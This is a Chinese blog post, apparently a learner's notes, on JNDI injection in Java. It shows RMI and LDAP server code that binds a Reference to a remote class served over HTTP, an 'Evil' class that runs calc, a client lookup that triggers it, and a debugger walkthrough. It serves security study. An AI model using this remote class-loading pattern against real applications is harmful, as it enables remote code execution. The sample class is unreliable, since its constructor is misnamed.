Skip to content

JavaSec 入门-06-JNDI

约 1664 字大约 6 分钟

Java

2024-12-18

前言

艹了每天效率低下,疲乏无比。

学 RMI 又遇到了奇奇怪怪的问题,让我学会 jndi ,今天在 unk 帮助下终于调明白了 jar 包 java审计调试方式

JNDI 简介与使用

JNDI(Java Naming and Directory Interface,Java 命名和目录接口)是 Java 平台的一部分,用于访问命名和目录服务的标准 API。它允许 Java 应用程序在各种命名或目录服务中查找数据或对象,例如:

  • 命名服务:通过逻辑名称查找远程对象。

  • 目录服务:查找和操作具有层次结构的属性数据。

  • RMI

  • LDAP

  • DNS

  • JNDI Reference

在 RMI 的基础上,简单做一个示例,先创建一个 rmi 服务,然后再创建 JNDI 的服务端和客户端,文件结构就是之前文章中的RMI 基础上再加上 JNDI 服务端和客户端:

以下操作为 jdk-8u65

服务端

我们可以显式创建 RMI ,使用 LocateRegistry.createRegistry 方法直接在本地创建 RMI 注册表(1099端口)。这类似于设置一个基本的 RMI 服务端。

public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        Registry registry = LocateRegistry.createRegistry(1099);
        InitialContext initialContext = new InitialContext();
        //创建一个引用,第一个参数是恶意class的名字,第二个参数是beanfactory的名字,我们自定义(和class文件对应),第三个参数表示恶意class的地址
        Reference refObj = new Reference("Evil","Evil","http://localhost:8081/");
        initialContext.rebind("rmi://localhost:1099/evil",refObj);
    }
}

恶意类

import java.io.IOException;

public class Evil {
    public evilref() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

编译成.class 后在当前目录开一个http 服务使这个可以被读取

python -m http.server 8081

客户端

public static void main(String[] args) throws Exception {
    String uri = "rmi://127.0.0.1:1099/evil";
    Context ctx = new InitialContext();
    ctx.lookup(uri);
}

在这个过程中 lookup 实际上就是去寻找了我们自定义的引用对象 Ref,然后实例化触发了计算器

跟进调试看一下流程

image-20241218154028959

进到 InitialContext::lookup

image-20241218154244573

再进到GenericURLContext::lookup

image-20241218164315910

来到了RegistryContext类中,调用了注册中心的lookup方法

image-20241218173018196

看到这里做了个对于引用 Wrapper 的decode,对应的服务端肯定有一个encode过程,我们去看一下

image-20241218173518136

在服务端跟进之后也是类似的操作

image-20241218170503736

进到RegistryContext类中去encode

image-20241218173841972

回到客户端继续去decode

image-20241218173939110

进到NamingManager::getObjectInstance

image-20241218175228134

再进到getObjectFactoryFromReference获取对象工厂

image-20241218180248416

loadClass

image-20241218180438775

最后在return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

newInstance实例化来触发

修复

在2016年后对 RMI 对应的 context 进行了修复,添加了判断条件,JDK 6u45、7u21后,java.rmi.server.useCodebaseOnly 的值默认为true。

LDAP绕过

在修复之后我们再运行就会因为trustURLCodebase值默认变为了 false 而无法使用

image-20241218221711735

什么是LDAP

LDAP(轻量级目录访问协议,Lightweight Directory Access Protocol) 是一种用于访问和管理分布式目录信息的协议。它基于客户端-服务器模型,广泛应用于存储和检索信息,如用户认证、联系人目录、设备列表等。LDAP 是一种应用层协议,通常用于访问存储在目录服务中的数据。

1. LDAP 的基本概念

  • 目录服务: LDAP 用于访问目录服务,目录服务是一个专门设计用来存储和查询信息的服务。目录中的数据通常是层次化结构的,类似于树形结构。一个常见的目录服务实现是 Active Directory(Microsoft)、OpenLDAPNovell eDirectory 等。
  • 目录树(Directory Tree): 目录数据通常是树状结构,这种结构叫做 目录信息树(DIT)。树的根节点和分支节点包含着信息,这些信息可以是各种对象,如用户、组、设备等。
  • 条目(Entry): 目录中的每个对象称为“条目”。每个条目包含一组属性(例如,用户名、电子邮件、电话号码等),这些属性值可以是字符串、日期、电话号码等数据类型。
  • DN(Distinguished Name): 每个条目在目录中的唯一标识符叫做 区分名(DN)。DN 描述了条目在目录树中的位置。例如:

2. LDAP 的常见用途

  • 身份认证: LDAP 最常见的用途之一是提供身份验证服务。例如,许多组织使用 LDAP 来存储和管理用户的用户名和密码,并使用它来进行身份验证。
  • 目录查询: LDAP 用于查询存储在目录中的信息。例如,查询某个用户的电话号码、电子邮件地址等。
  • 地址簿: LDAP 被广泛用于电子邮件系统中,用于存储和查询用户的电子邮件地址和其他相关信息。
  • 组织架构: LDAP 可以存储组织的人员信息、部门结构等,供公司内部使用。

3. LDAP 的工作原理

LDAP 基于客户端-服务器模型,通常的工作流程如下:

  1. 客户端请求: 客户端(如应用程序、Web 服务)向 LDAP 服务器发起请求。请求可以是查询、修改、删除等操作。
  2. 服务器响应: LDAP 服务器接收到请求后,基于请求的内容,从目录中查找或修改相应的条目,并返回结果。
  3. LDAP 操作: LDAP 支持多种操作,如:
    • Bind(绑定): 用于认证客户端。客户端需要提供凭据(如用户名和密码)进行身份验证。
    • Search(查询): 用于查找符合条件的条目。查询可以根据某些属性进行,如查找所有属于某个部门的员工。
    • Add(添加): 向目录中添加新条目。
    • Delete(删除): 从目录中删除条目。
    • Modify(修改): 修改目录中的条目属性。
  4. 协议和端口: LDAP 通常使用 TCP 协议,默认端口为 389(非加密)和 636(加密,使用 SSL/TLS)。加密版本的 LDAP 叫做 LDAPS

操作

服务端

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;

public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext=new InitialContext();
        Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");
        initialContext.rebind("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com",refObj);
    }
}

客户端

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext=new InitialContext();
        initialContext.lookup("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com");
    }
}

参考文章

https://xz.aliyun.com/t/6633?accounttraceid=f1cfb53a08ea4817a70002bde405a556vkfe&time__1311=eq0xni0%3DDQi%3D0QXPGNSYZQKitktiIKwmExx#toc-0

https://boogipop.com/2023/03/02/%E4%BB%8ERMI%E5%88%B0JNDI%E6%B3%A8%E5%85%A5/